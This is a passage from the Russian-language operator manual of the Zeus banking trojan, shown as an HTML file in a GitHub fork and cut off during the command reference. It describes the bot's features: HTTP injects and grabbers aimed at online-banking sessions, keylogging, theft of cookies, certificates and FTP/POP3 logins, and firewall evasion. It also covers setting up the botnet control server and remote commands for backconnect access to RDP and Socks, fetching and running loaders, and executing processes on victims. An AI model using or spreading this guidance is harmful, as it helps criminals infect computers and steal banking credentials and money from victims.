forked from Visgean/Zeus
-
Notifications
You must be signed in to change notification settings - Fork 0
/
manual_ru.html
853 lines (807 loc) · 45.8 KB
/
manual_ru.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru">
<head>
<title>Руководство пользователя</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"/>
<meta http-equiv="Content-Style-Type" content="text/css"/>
<meta http-equiv="Content-Script-Type" content="text/javascript"/>
<style type="text/css">
html, body
{
background: #FFFFFF;
color: #000000;
font-family: Verdana, Helvetica, sans-serif;
font-size: 12px
}
a
{
color: #0060B6
}
a:hover
{
color: #174C7E
}
h1, h2
{
padding: 2em 0 0.5em 0;
border-bottom: solid 1px #CCCCCC
}
h1
{
padding-top: 0
}
table.list, table.samples, table.parameters
{
border-collapse: collapse
}
table.list td, table.samples td, table.parameters td
{
padding: 1em;
background: #EEEEEE;
border: 1px solid #CCCCCC
}
</style>
</head>
<body>
<h1>Руководство пользователя</h1>
<ul>
<li><a href="#description_bot">Описание</a>
<ul>
<li><a href="#description_bot">Бот</a></li>
<li><a href="#description_cp">Панель управления</a></li>
</ul>
</li>
<li><a href="#config_hi">Файл конфигурации</a>
<ul>
<li><a href="#config_hi">HTTP-инжекты/HTTP-грабберы</a></li>
</ul>
</li>
<li><a href="#cp_server">Панель управления</a>
<ul>
<li><a href="#cp_server">Настройка сервера</a></li>
<li><a href="#cp_install">Установка</a></li>
<li><a href="#cp_update">Обновление</a></li>
<li><a href="#cp_fsarc">Файл /system/fsarc.php</a></li>
<li><a href="#cp_remotescript_commands">Команды, используемые в скриптах</a></li>
</ul>
</li>
<li><a href="#bc">Работа с Backсonnect-сервером</a></li>
<li><a href="#faq">F.A.Q.</a></li>
<li><a href="#history">История версий</a></li>
</ul>
<!-- НАЧАЛО: Описание: Бот -->
<h2 id="description_bot">Описание: Бот</h2>
<ul>
<li>
<p><b>Язык и IDE программирования:</b></p>
<p>Visual C++ (текущая версия 9.0). Не используются дополнительные библиотеки (crtl, mfc, и т.д.).</p>
</li>
<li>
<p><b>Поддерживаемые ОС:</b></p>
<p>XP/Vista/Seven, а также 2003/2003R2/2008/2008R2. В том числе работа под Windows x64, но только для 32-x битных процессов. Также сохраняется полноценная работа бота при активных сессиях "Terminal Servers".</p>
</li>
<li>
<p><b>Принцип действия:</b></p>
<p>Бот основан на перехвате WinAPI, методом сплайсинга в ring3(пользовательский режим), путем запуска копии своего кода в каждом процессе пользователя (без использования DLL).</p>
</li>
<li>
<p><b>Процесс установки:</b></p>
<p>В данный момент, в первую очередь бот ориентирован на работу под Vista/Seven, с включенным UAC, и без использования локальных сплойтов. Поэтому бот рассчитан на работу с минимальными привилегиями пользователя (включая пользователя "Гость"), с связи с этим бот всегда работает в пределах сессий одного пользователя (из-под которого производилась установка бота.). Бот может быть установлен для каждого пользователя в ОС, при этом боты не будут знать о существовании друг друга. При запуске бота из под пользователя "LocalSystem" произойдет попытка заражение всех пользователей в системе.</p>
<p>При установке, бот создает свою копию в домашней директории пользователя, эта копия является привязанной к текущему пользователю и ОС, и не может быть запущена в другом пользователе, или тем более ОС. Оригинальная же копия бота (используемая для установки), будет автоматически удалена, в независимости от успеха установки.</p>
</li>
<li>
<p><b>Сессия с сервером (панелью управления):</b></p>
<p>Сессия с сервером осуществляется через различные процессы из внутреннего "белого списка", что позволяет обойти большинство фаерволов. Во время сессии бот может получить конфигурацию, отправить накопившиеся отчеты, сообщить о своем состоянии серверу, и получить команды для исполнения на компьютере. Сессия происходит через HTTP-протокол, все данные отсылаемые ботом и получаемые от сервера шифруются уникальным ключом для каждого ботнета.</p>
</li>
<li>
<p><b>Защита:</b></p>
<ol>
<li>Уникальные имена всех объектов (файлов, мютексов, ключей реестра) создаваемых ботом для каждого пользователя и ботнета.</li>
<li>Установленный бот не может быть запущен с иной ОС или пользователя. Уничтожается код, служащий для установки бота.</li>
<li>В данный момент не производиться скрытие файлов бота через WinAPI, т.к. антивирусные инструменты очень легко находят такие файла, и позволяют точно определить местоположение бота.</li>
<li>Автообновление бота, не требующие перезагрузки.</li>
<li>Контроль цельности файлов бота.</li>
</ol>
</li>
<li>
<p><b>Функции серверной части бота:</b></p>
<ol>
<li>Сервер Socks 4/4a/5 с поддержкой UDP и IPv6.</li>
<li>Бэкконект для любого сервиса (RDP, Socks, FTP, и т.д.) на зараженной машине. Т.е. возможно получить доступ к компьютеру, который находится за NAT, или, например, к которому запрещены подключения фаерволом. Для работы этой функции используется дополнительное приложение, запускаемое на любом Windows-сервере в интернете, который имеет выделенный IP.</li>
<li>Получение скриншота рабочего стола в реальном времени.</li>
</ol>
</li>
<li>
<p><b>Перехват HTTP/HTTPS-запросов библиотек wininet.dll (Internet Explorer, Maxton, и т.д.), nspr4.dll (Mozilla Firefox):</b></p>
<ol>
<li>Модификация содержимого загружаемых страниц (HTTP-инжект).</li>
<li>Прозрачный редирект страниц (HTTP-фейк).</li>
<li>Получение из содержимого страницы нужных частей данных (например баланса банковского аккаунта).</li>
<li>Временная блокировка HTTP-инжектов и HTTP-фейков.</li>
<li>Временная блокировка доступа к определнным URL.</li>
<li>Блокировка логирования запросов для определённых URL.</li>
<li>Принудительное логирование всех GET запросов для определенных URL.</li>
<li>Создание снимка экрана вокруг курсора мыши во время клика ее кнопок.</li>
<li>Получение сессионных кукисов и блокировка доступа пользователя к определенным URL.</li>
</ol>
</li>
<li>
<p><b>Получение важных данных из программ пользователя:</b></p>
<ol>
<li>Логинов из FTP-клиентов: FlashFXP, CuteFtp, Total Commander, WsFTP, FileZilla, FAR Manager, WinSCP, FTP Commander, CoreFTP, SmartFTP.</li>
<li>"Кукисов" Adobe (Macromedia) Flash Player.</li>
<li>"Кукисов" wininet.dll, Mozilla Firefox.</li>
<li>Импорт сертификатов из хранилища сертификатов Windows. И слежение за их дальнейшим добавлением.</li>
<li>Слежение за нажатием клавиш клавиатуры.</li>
</ol>
</li>
<li>
<p><b>Сниффер трафика для протокола TCP в Windows Socket.</b></p>
<ol>
<li>Перехват FTP-логинов на любом порту.</li>
<li>Перехват POP3-логинов на любом порту.</li>
</ol>
</li>
<li>
<p><b>Прочее:</b></p>
<ol>
<li>Исполнение скриптов (команд), созданных в панели управления.</li>
<li>Разделение ботнета на сабботнеты (по имени).</li>
</ol>
</li>
</ul>
<!-- КОНЧАЛО: Описание: Бот -->
<!-- НАЧАЛО: Описание: Панель управления -->
<h2 id="description_cp">Описание: Панель управления</h2>
<ul>
<li>
<p><b>Язык программирования:</b></p>
<p>PHP, с использованием расширений mbstring, mysql.</p>
</li>
<li>
<p><b>Отображаемая статистика:</b></p>
<ol>
<li>Количество зараженных компьютеров.</li>
<li>Текущее количество ботов в онлайне.</li>
<li>Количество новых ботов.</li>
<li>Суточная активность ботов.</li>
<li>Статистика по странам.</li>
<li>Статистика по ОС.</li>
</ol>
</li>
<li>
<p><b>Работа со списком ботов:</b></p>
<ol>
<li>Фильтрация списка по странам, ботнетам, IP-адресам, NAT-статусу, и т.д.</li>
<li>Отображение скриншотов рабочего стола в реальном времени (только для ботов вне NAT).</li>
<li>Массовая проверка состояния Socks-серверов.</li>
<li>Вывод полной информации о ботах. Из наиболее важных сюда входят:
<ul>
<li>Версия Windows, язык пользователя и часовая зона.</li>
<li>Страна и IP-адреса компьютера (не относящиеся к локальным).</li>
<li>Скорость подключения к Интернету (измеряется путем вычисления времени загрузки предопределенного HTTP-ресурса).</li>
<li>Время первой и последней связи с сервером.</li>
<li>Время в онлайне.</li>
</ul>
<li>Возможность установки комментария для каждого бота.</li>
</ol>
</li>
<li>
<p><b>Скрипты (команды):</b></p>
<p>Вы можете управляет ботами путем составления для них скриптов. В настоящее время синтаксис, и возможности скриптов очень примитивны.</p>
</li>
<li>
<p><b>Работа с отчетами (логами) и файлами ботов:</b></p>
<p>Файлы (например скриншоты, кукисы Flash Player) полученные от ботов всегда пишутся в файлы на сервере, Вы получаете возможности искать файлы с фильтром: по имени ботов, ботнету, содержимому и имени файла.</p>
<p>Отчеты могут писаться как в файлы (%botnet%/%bot_id%/reports.txt), так и в базу данных. В первом случаи поиск по отчетам осуществляется точно также, как и по файлам. Во втором же случаи, Вы получаете возможность более гибкой фильтрации, и просмотра отчетов из Панели управления.</p>
</li>
<li>
<p><b>Получение уведомлений в IM (Jabber):</b></p>
<p>Вы можете получать уведомления из Панели управления в Jabber-аккаунт.</p>
<p>В данный момент существует возможность получения уведомлений о заходе пользователя на определенные HTTP/HTTPS-ресурсы. Например, это используется для перехвата сессии пользователя в онлайн-банке.</p>
</li>
<li>
<p><b>Прочее:</b></p>
<ol>
<li>Создание пользователей Панели управления с определенными правами доступа.</li>
<li>Вывод информации о ПО сервера.</li>
<li>Автоматическое восстановление поврежденных таблиц MyISAM.</li>
</ol>
</li>
</ul>
<!-- КОНЧАЛО: Описание: Панель управления -->
<!-- НАЧАЛО: Описание: Файл конфигурации: HTTP-инжекты/HTTP-грабберы -->
<h2 id="config_hi">Файл конфигурации: HTTP-инжекты/HTTP-грабберы.</h2>
<p>Для удобства написания, HTTP-инжекты/HTTP-грабберы записываются в отдельный файл, указанный в файле конфигурации как "DynamicConfig.file_webinjects". Естественно, после создания конченого файла конфигурации, ни какие дополнительные файлы не генерируются.</p>
<p>Файл представляет из себя список URL'ов, для которых можно указать неограниченное количество либо вносимых в них изменений, либо получаемых из них данных. Текущий URL указывается следующей строкой:<p>
<p><b>set_url [url] [options] [postdata_blacklist] [postdata_whitelist] [url_block] [matched_context]</b></p>
<p><b>Параметры:</b></p>
<table class="parameters">
<tr>
<td>url</td>
<td>URL, на котором должен запускаться HTTP-инжект/HTTP-граббер. Допускается использование масок (символы * и #).</td>
</tr>
<tr>
<td>options</td>
<td>
Определяет основные правила и условия для запсука, состоит из комбинации следующих символов:
<ul>
<li><b>P</b> - запускать при <a target="_blank" href="http://ru.wikipedia.org/wiki/HTTP#GET">POST-запросе</a>.</li>
<li><b>G</b> - запускать при <a target="_blank" href="http://ru.wikipedia.org/wiki/HTTP#POST">GET-запросе</a>.</li>
<li><b>L</b> - если этот сивол указан, то запуск происходит как HTTP-граббера, если не указан, то как HTTP-инжекта.
<li><b>D</b> - блокирует запуск более одного раза в 24 часа. <u>Этот символ требует обязательного наличия параметра url_block.</u></li>
<li><b>F</b> - дополняет символ "L", позволяет записывать результат не в виде обычного отчета, а в виде отдельного файла "grabbed\%host%_%year%_%month%_%day%.txt".</li>
<li><b>H</b> - дополняет символ "L", сохраняет содержимое без вырезания HTML-тегов. В обычном же режиме, все HTML-теги удаляются, а некоторые преобразуются в символ "новая строка" или "пробел".</li>
<li><b>I</b> - сравнивать параметр url без учета регистра (только для англ. алфавита).</li>
<li><b>C</b> - сравнивать конекст без учета регистра (только для англ. алфавита).</li>
</ul>
</td>
</tr>
<tr>
<td>postdata_blacklist</td>
<td>Полное (от начала до конца) содержимое POST-данных, при котором <b>не должен</b> происходить запуск. Допускается использование масок (символы * и ?).</br></br>Параметр является необязательным.</td>
</tr>
<tr>
<td>postdata_whitelist</td>
<td>Полное (от начала до конца) содержимое POST-данных, при котором <b>должен</b> происходить запуск. Допускается использование масок (символы * и ?).</br></br>Параметр является необязательным.</td>
</tr>
<tr>
<td>url_block</td>
<td>
<b>При отсутствии символа "D" в параметре options:</b>
<p>Если запуск должен происходить только один раз, то здесь следует указать URL, в случаи обращения к которому, дальнеший запуск будет заблокирован. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. Если после блокировки, понадобится повторный запуск, то блокировку можно снять через команду "<a href="#bot_httpinject_enable">bot_httpinject_enable</a>" с параметром, например, равному параметру url.</p>
<b>При наличии символа "D" в параметре options:</b>
<p>Необходимо указать URL, при обращении к которому, запуск будет заблокирован на 24-е часа. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. <u>Эту блокировку нельзя снять через через команду "bot_httpinject_enable".</u></p>
Параметр является необязательным при отсутствии символа "D" в параметре options.
</td>
</tr>
<tr>
<td>matched_context</td>
<td>Подсодержимое (подстрока) содеримого URL, при котором должен происходить запуск. Допускается использование масок (символы * и ?).</br></br>Параметр является необязательным.</td>
</tr>
</table>
<p>Со следующей строки начинается список изменений вносимых, в содержимое URL, а при наличии символа "L" в параметре options - список данных, получаемых из содержимое URL. Это список длится до тех пор, пока не достигнут конец файла, или не задан новый URL.</p><p>Единица списка состоит из трех элементов в произвольном порядке:</p>
<table class="parameters">
<tr>
<td>data_before</td>
<td>
<b>При отсутвие символа "L" в параметре options:</b>
<p>Подсодержиоме в соедржимом URL, после окончания которого нужно внести новые данные.</p>
<b>При наличии символа "L" в параметре options:</b>
<p>Подсодержиоме в соедржимом URL, после окончания которого нужно начать получить данные для отчета.</p>
Допускается использование масок (символы * и ?).
</td>
</tr>
<tr>
<td>data_after</td>
<td>
<b>При отсутвие символа "L" в параметре options:</b>
<p>Подсодержиоме в соедржимом URL, передкоторым нужно закончить новые данные.</p>
<b>При наличии символа "L" в параметре options:</b>
<p>Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета.</p>
Допускается использование масок (символы * и ?).
</td>
</tr>
<tr>
<td>data_inject</td>
<td>
<b>При отсутвие символа "L" в параметре options:</b>
<p>Новые данные, который будут внесены между данными найденысмм по data_before и data_after.</p>
<b>При наличии символа "L" в параметре options:</b>
<p>Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета.</p>
</td>
</tr>
</table>
<p><b>Примеры:</b></p>
<table class="samples">
<tr>
<td>user_homepage_set http://www.google.com/</td>
<td>Принудительная установка домашней страницы "http://www.google.com/".</td>
</tr>
<tr>
<td>user_homepage_set</td>
<td>Принудительная установка домашней страницы будет отключена.</td>
</tr>
</table>
ЛИМИТЫ
ЛОГИКА ПРИ НЕЗАПОЛЕННЫХ before или after
<!-- КОНЧАЛО: Описание: Файл конфигурации: HTTP-инжекты/HTTP-грабберы -->
<!-- НАЧАЛО: Панель управления: Настройка сервера -->
<h2 id="cp_server">Панель управления: Настройка сервера</h2>
<p>Сервер является центральной точкой управления ботнетом, он занимается сборкой отчетов ботов, и отдачей команд ботам. Крайне не рекомендуется использовать "Виртуальный Хостинг" или "VDS", т.к. при увеличение ботнета, нагрузка на сервер будет увеличиваться, и такой вид хостинга довольно быстро исчерпает свои ресурсы. Вам нужен "Выделенный сервер" (Дедик), рекомендуемая минимальная конфигурация:</p>
<ul>
<li>2Гб ОЗУ.</li>
<li>2x процессор частотой 2Ггц.</li>
<li>Отдельный винчестер для базы данных.</li>
</ul>
<p>Для работы бота необходим HTTP-сервер с подключенным PHP + Zend Optimizer, и MySQL-сервер.<br/><b>ВНИМАНИЕ:</b> Для Windows-серверов очень важно изменить (создать) следующее значение реестра: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\MaxUserPort=dword:65534 (десятичное).</p>
<ul>
<li>
<p><b>HTTP-сервер:</b></p>
<p>В качестве HTTP-сервера рекомендуется использовать: для nix-систем - Apache от версии 2.2, для Windows-серверов - IIS от версии 6.0. Рекомендуется держать HTTP-сервер на 80 или 443 портах (это положительно влияет на отстук бота, поскольку провайдеры/прокси могут блокировать доступ на иные, нестандартные порты).</p>
<p>Загрузить Apache: <a href="http://apache.org/dyn/closer.cgi">http://apache.org/dyn/closer.cgi</a>.<br/>Сайт IIS: <a href="http://www.iis.net/">http://www.iis.net/</a>.</p>
</li>
<li>
<p><b>Интерпретатор PHP:</b></p>
<p>Последняя версия панели управления разрабатывалась на PHP 5.2.6. Поэтому крайне рекомендуется использовать версию, не ниже этой версии.</p>
<p>Важно произвести следующие настройки в php.ini:</p>
<ul>
<li>safe_mode = Off</li>
<li>magic_quotes_gpc = Off</li>
<li>magic_quotes_runtime = Off</li>
<li>memory_limit = 256M ;Или выше.</li>
<li>post_max_size = 100M ;Или выше.</li>
</ul>
<p>а также рекомендуется изменить следующие настройки:</p>
<ul>
<li>display_errors = Off</li>
</ul>
<p>Также понадобиться подключить Zend Optimizer (ускорение работы скриптов, и запуск защищенных скриптов). Рекомендуется версия от 3.3.</p>
<p>Не рекомендуется подключать PHP к HTTP-серверу через CGI.</p>
<p>Загрузить PHP: <a href="http://www.php.net/downloads.php">http://www.php.net/downloads.php</a>.<br/>Загрузить Zend Optimizer: <a href="http://www.zend.com/en/products/guard/downloads">http://www.zend.com/en/products/guard/downloads</a>.</p>
</li>
<li>
<p><b>MySQL-сервер:</b></p>
<p>MySQL требуется для хранения всех данных об ботнете. Рекомендуемая версия не ниже 5.1.30, так же стоит учесть, что при работе панели управления в более старых версиях были обнаружены некоторые проблемы. Все таблицы панели управления идут в формате MyISAM, важно правильно оптимизировать быстродействие работы с этим форматом, исходя из доступных ресурсов сервера.</p>
<p>Рекомендуется внести следующие изменения в настройки MySQL-сервера (my или my.ini):</p>
<ul>
<li>max_connections=2000 #Или выше</li>
</ul>
<p>Загрузить MySQL: <a href="http://dev.mysql.com/downloads/">http://dev.mysql.com/downloads/</a>.</p>
</li>
</ul>
<!-- КОНЧАЛО: Панель управления: Настройка сервера -->
<!-- НАЧАЛО: Панель управления: Установка -->
<h2 id="cp_install">Панель управления: Установка</h2>
<p>Назначение файлов и папок:</p>
<table class="list">
<tr><td>/install</td><td>инсталлятор</td></tr>
<tr><td>/system</td><td>системные файлы</td></tr>
<tr><td>/system/fsarc.php</td><td><a href="#cp_fsarc">скрипт для вызова внешнего архиватора</td></tr>
<tr><td>/system/config.php</td><td>файл конфигурации</td></tr>
<tr><td>/theme</td><td>файлы темы (дизайн), без зенда, могут свободно изменяться</td></tr>
<tr><td>cp.php</td><td>вход в панель управления</td></tr>
<tr><td>gate.php</td><td>гэйт для ботов</td></tr>
<tr><td>index.php</td><td>пустой файл для предотвращения листинга файлов</td></tr>
</table>
<p>Панель управления обычно расположена в вашем дистрибутиве в папке server[php]. Все содержимое этой папки необходимо загрузить на сервер в любую папку доступную по HTTP. Если Вы загружаете ее через FTP, то все файлы нужно загрузить в БИНАРНОМ режиме.</p>
<p>Для nix-систем выставите права:</p>
<table class="list">
<tr><td>/.</td><td>777</td></tr>
<tr><td>/system</td><td>777</td></tr>
<tr><td>/tmp</td><td>777</td></tr>
</table>
<p>Для Windows-систем выставите права:</p>
<table class="list">
<tr><td>\system</td><td>права на полные права на запись, чтение для пользователя из под которого происходит доступ через HTTP. Для IIS это обычно IUSR_*</td></tr>
<tr><td>\tmp</td><td>также как и для \system</td></tr>
</table>
<p>После того как все файлы загружены и для них выставлены права, необходимо через браузер запустить инсталлятор по URL http://сервер/папка/install/index.php. Следуйте появившимся инструкциям, в случаи возникновения ошибок (Вы будете подробно уведомлены) в процесс установки, проверти правильность введенных данных, и правильность установки прав на папки.</p>
<p>После установки, рекомендуется удалить директорию install, и переименовать файлы cp.php (вход в панель управления) и gate.php (гэйт для ботов) в любые файлы по вашему желанию (расширение менять нельзя).</p>
<p>Теперь Вы можете благополучно входить в панель управления, введя в браузере URL переименованного файла cp.php.</p>
<!-- КОНЧАЛО: Панель управления: Установка -->
<!-- НАЧАЛО: Панель управления: Обновление -->
<h2 id="cp_update">Панель управления: Обновление</h2>
<p>Если Вы обладаете более новой копией панели управления, и желаете обновить старую версию, то необходимо сделать следующие:</p>
<ol>
<li>Скопировать файлы новой панели управления на место старых.</li>
<li>Переименовать файлы cp.php и gate.php согласно их реальным именам выбранным вами при установке старой панели управления.</li>
<li>На всякой случай, повторно выставить права на директории согласно <a href="#cp_install">этому</a> разделу.</li>
<li>Через браузер запустить инсталлятор по URL http://сервер/директория/install/index.php, и следовать появившимся инструкциям. Процесс работы инсталлятора может занять достаточно большой промежуток времени, это связано с тем, что некоторые таблицы с отчетами могут пересоздаваться.</li>
<li>Можно пользоваться новой панелью управления.</li>
</ol>
<!-- КОНЧАЛО: Панель управления: Обновление -->
<!-- НАЧАЛО: Панель управления: Файл /system/fsarc.php. -->
<h2 id="cp_fsarc">Панель управления: Файл /system/fsarc.php.</h2>
<p>Данный файл содержит в себе функцию для вызова внешнего архиватора. В данный момент архиватор используется только в модуле "Отчеты::Поиск в файлах" (reports_files), и вызывается для загрузки файлов и папок в виде одного архива. По умолчанию функция настроена на архиватор Zip, и является универсальной для Windows и nix, поэтому все что вам нужно сделать, это установить в систему этот архиватор, и дать права на его исполнение. Вы также можете отредактировать этот файл для работы с любым архиватором.</p>
<p>Загрузить Zip: <a href="http://www.info-zip.org/Zip.html">http://www.info-zip.org/Zip.html</a>.</p>
<!-- КОНЧАЛО: Панель управления: Файл /system/fsarc.php. -->
<!-- НАЧАЛО: Панель управления: Команды, используемые в скриптах -->
<h2 id="cp_remotescript_commands">Панель управления: Команды, используемые в скриптах</h2>
<ul>
<li><p><b>os_shutdown</b></p>
<p>Выключение компьютера. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.</p>
</li>
<li><p><b>os_reboot</b></p>
<p>Перезагрузка компьютера. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.</p>
</li>
<li><p><b>bot_uninstall</b></p>
<p>Полное удаление бота из текщего пользователя. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.</p>
</li>
<li><p><b>bot_update</b> [url]</p>
<p>Обновления файла конфигурации бота.</p>
<p><b>Параметры:</b></p>
<table class="parameters">
<tr>
<td>url</td>
<td>
URL, с которого необходимо загрузить файл конфигурации. В случаи успешной загрузки конфигурации, из нее будет принудительно загружен и запущен файл (с параметром "-f"), указный в "DynamicConfig.url_loader".<br/><br/>
Если же, это параметр не указан или является пустым, то произойдет загрузка файла конфигурации в обычном режиме (т.е. как будь-то пришло время по "StaticConfig.timer_config"), со всеми вытекающими последствиями.
</td>
</tr>
</table>
<p><b>Примеры:</b></p>
<table class="samples">
<tr>
<td>bot_update http://domain/update.bin</td>
<td>Загрузка файла конфигурации "http://domain/update.bin".</td>
</tr>
</table>
</li>
<li id="bot_bc_add"><p><b>bot_bc_add</b> [service] [backconnect_server] [backconnect_server_port]</p>
<p>Добавление постоянной (сессия будет восстановлена даже после перезагрузки компьютера) бэкконект-сессии. <i>Данная команда доступна не во всех сборках ПО.</i></p>
<p><b>Параметры:</b></p>
<table class="parameters">
<tr>
<td>service</td>
<td>Номер порта или текстовое имя сервиса, для которого создается сессия.</td>
</tr>
<tr>
<td>backconnect_server</td>
<td>Хост, на котором запущен бэкконект-сервер.</td>
</tr>
<tr>
<td>backconnect_server_port</td>
<td>Номер порта на хосте [backconnect_server].</td>
</tr>
</table>
<p><b>Примеры:</b></p>
<table class="samples">
<tr>
<td>bot_bc_add socks 192.168.100.1 4500</td>
<td>Вы получаете доступ к Socks-серверу.</td>
</tr>
<tr>
<td>bot_bc_add 3389 192.168.100.1 4500</td>
<td>Вы получаете доступ к RDP.</td>
</tr>
</table>
</li>
<li id="bot_bc_remove"><p><b>bot_bc_remove</b> [service] [backconnect_server] [backconnect_server_port]</p>
<p>Завершение постоянных бэкконект-сессий. <i>Данная команда доступна не во всех сборках ПО.</i></p>
<p><b>Параметры:</b></p>
<table class="parameters">
<tr>
<td>service</td>
<td>Номер порта или текстовое имя сервиса, для которого удаляется сессия. Допускается использование масок (символы * и ?), для удаления группы сессий.</td>
</tr>
<tr>
<td>backconnect_server</td>
<td>Хост, на котором запущен бэкконект-сервер. Допускается использование масок (символы * и ?), для удаления группы сессий.</td>
</tr>
<tr>
<td>backconnect_server_port</td>
<td>Номер порта на хосте [backconnect_server]. Допускается использование масок (символы * и ?), для удаления группы сессий.</td>
</tr>
</table>
<p><b>Примеры:</b></p>
<table class="samples">
<tr>
<td>bot_bc_remove socks * *</td>
<td>Удаляются все сессий связанные с сервисом socks.</td>
</tr>
<tr>
<td>bot_bc_remove * * *</td>
<td>Удаляются все существующие сессий.</td>
</tr>
</table>
</li>
<li><p><b>bot_httpinject_disable</b> [url_1] [url_2] ... [url_X]</p>
<p>Блокировка исполнения HTTP-инжектов на определенных URL для текущего пользователя. <u>Вызов этой команды не обнуляет существующий список блокировки, а дополняет его.</u></p>
<p><b>Параметры:</b></p>
<table class="parameters">
<tr>
<td>url_1, ulr_2, ...</td>
<td>URL'ы, на которых необходимо заблокировать исполнение HTTP-инжектов. Допускается использование масок (символы * и #).</td>
</tr>
</table>
<p><b>Примеры:</b></p>
<table class="samples">
<tr>
<td>bot_httpinject_disable http://www.google.com/*</td>
<td>Блокировка исполнения HTTP-инжектов для http://www.google.com/.</td>
</tr>
<tr>
<td>bot_httpinject_disable *</td>
<td>Блокировка исполнения HTTP-инжектов для любого URL.</td>
</tr>
<tr>
<td>bot_httpinject_disable *.html *.gif</td>
<td>Блокировка исполнения HTTP-инжектов для файлов с расширением html и gif.</td>
</tr>
</table>
</li>
<li id="bot_httpinject_enable"><p><b>bot_httpinject_enable</b> [url_1] [url_2] ... [url_X]</p>
<p>Снятие блокировки исполнения HTTP-инжектов на определенных URL для текущего пользователя.</p>
<p><b>Параметры:</b></p>
<table class="parameters">
<tr>
<td>url_1, ulr_2, ...</td>
<td>Маски (символы * и #), по которым из списка заблокированных URL необходимо удалить URL.</td>
</tr>
</table>
<p><b>Примеры:</b></p>
<table class="samples">
<tr>
<td>bot_httpinject_enable *.google.*</td>
<td>Удалить блокировку исполнения HTTP-инжектов по любому URL из списка заблокированных, которые содержат в себе ".google.".</td>
</tr>
<tr>
<td>bot_httpinject_enable *</td>
<td>Полностью очистит список блокировок исполнения HTTP-инжектов.</td>
</tr>
<tr>
<td>bot_httpinject_enable *.html https://*</td>
<td>Удалить блокировку исполнения HTTP-инжектов со всех html-файлов, и на все HTTPS-ресурсы.</td>
</tr>
</table>
</li>
<!--
<li><p><b>fs_path_get</b></p>
</li>
<li><p><b>fs_search_add</b></p>
</li>
<li><p><b>fs_search_remove</b></p>
</li>
<li><p><b>user_destroy</b></p>
</li>
-->
<li><p><b>user_logoff</b></p>
<p>Завершение сеанса (logoff) текущего пользователя. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.</p>
</li>
<li><p><b>user_execute</b> [path] [parameters]</p>
<p>Запуск процесса от имени текущего пользователя. Запуск процесса происходит через ShellExecuteW(,NULL,,,,), если запуск не удался, то процесс создается через CreateProcessW.</p>
<p><b>Параметры:</b></p>
